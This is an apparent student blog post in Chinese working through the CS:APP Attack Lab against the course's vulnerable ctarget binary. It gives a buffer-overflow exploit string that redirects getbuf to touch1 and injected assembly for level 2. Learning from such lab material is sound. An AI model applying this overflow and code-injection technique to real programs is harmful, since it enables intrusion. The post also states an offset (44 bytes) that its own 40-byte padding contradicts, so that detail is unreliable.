lab3

shell的使用:

NAME

  strings - print the strings of printable characters in files.

 -t radix
       --radix=radix
           Print the offset within the file before each string.  The single character argument specifies the radix
           of the offset---o for octal, x for hexadecimal, or d for decimal.

NAME
       grep, egrep, fgrep, rgrep - print lines matching a pattern

-n, --line-number
              Prefix each line of output with the 1-based line number within its input file.
      

strings -td ctarget | grep -n "Initialization error: Running on an illegal host"

 

 在二进制文件ctarget中搜索到字符串后,想在objdump -d生成的反汇编文件中找到这个字符串的地址却失败了(使用直接搜索的方法),这个想法来源于http://ysite.me/no-shark/

于是我尝试用next调试定位到出现该字符串的位置(使用stepi调试会进入无限循环,原因暂时未知),

定位到语句  callq 0x400df0 <__printf_chk@plt>,对这句打断点后run,可以看到提示 __fmp(0x402ea0), 使用d/s *0x402ea0后可以输出字符串,写到这里突然想起来“字符串常量有自己的存储方式(文字常量区),位置根据实现而不同,而且修改其位置是未定义的”。

 

寄存器使用习惯:

  • 用来传参数的寄存器:%rdi, %rsi, %rdx, %rcx, %r8, %r9
  • 保存返回值的寄存器:%rax
  • 被调用者保存状态:%rbx, %r12, %r13, %r14, %rbp, %rsp
  • 调用者保存状态:%rdi, %rsi, %rdx, %rcx, %r8, %r9, %rax, %r10, %r11
  • 栈指针:%rsp
  • 指令指针:%rip

 实验指导:

参考http://csapp.cs.cmu.edu/3e/attacklab.pdf

简单来说,ctarget是存在 code-injection问题的文件,rtarget是存在return-oriented-programming问题的文件,这两个文件都接受一个字符串,并不会检查长度,如果

字符串长度过长会出现memory access error,我们可以利用输入合适的字符串来达到其它状态,这样的字符串被称为exploit strings。

可供ctarget和rtarget使用的命令参数

-h:输出可以使用的命令行参数;

-i FILE:重定向输入到FILE;

-q:不发送结果到评分系统;

 

注意:

1.exploit strings不能包括0x0a,因为其ASCII对应换行符,会导致输入终止;

2.使用hex2raw函数时注意使用小端表示并注意空格,即0xdeadbeef输入为ef be ad de;

3.每一关使用的方法和函数是固定的,详情见writeup。

4.self-study用户应该在提交exploit strings时加上-q参数来避免出现error host

 

第一关:

  

void test() {
    int val;
    val = getbuf();
    printf("NO exploit. Getbuf returned 0x%x\n", val);
}
void touch1() {
    vlevel = 1;
    printf("Touch!: You called touch1()\n");
    validate(1);
    exit(0);
}
000000000040181c <getbuf>:
  40181c:    48 83 ec 28          sub    $0x28,%rsp
  401820:    48 89 e7             mov    %rsp,%rdi
  401823:    e8 88 02 00 00       callq  401ab0 <Gets>
  401828:    b8 01 00 00 00       mov    $0x1,%eax
  40182d:    48 83 c4 28          add    $0x28,%rsp
  401831:    c3                   retq   
  401832:    90                   nop
  401833:    90                   nop

从getbuf的汇编代码可以看到%rsp移动了0x28即40个字节,返回地址在之前即44个字节之前      

00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
34 18 40
  

保存为p1.txt

 

第二关

类似于第一关,不过是从test的getbuf中返回到touch2。

提示:
在exploit strings中使用ret而不是call或者jmp指令;

之前这个lab3是32位的代码,用的smoke函数,现在是64位的二进制码,用的是touch函数,所以函数栈帧结构略有不同,参考CSAPP相关章节或者http://www.searchtb.com/2013/03/x86-64_register_and_function_frame.html

第一个传参寄存器是%rdi。

 

 

首先写出一个2.s文件

mov     $0x59b997fa, %rdi

pushq         $0x4017ec

ret

        

posted @ 2016-08-08 14:45  autoria  阅读(746)  评论(0编辑  收藏  举报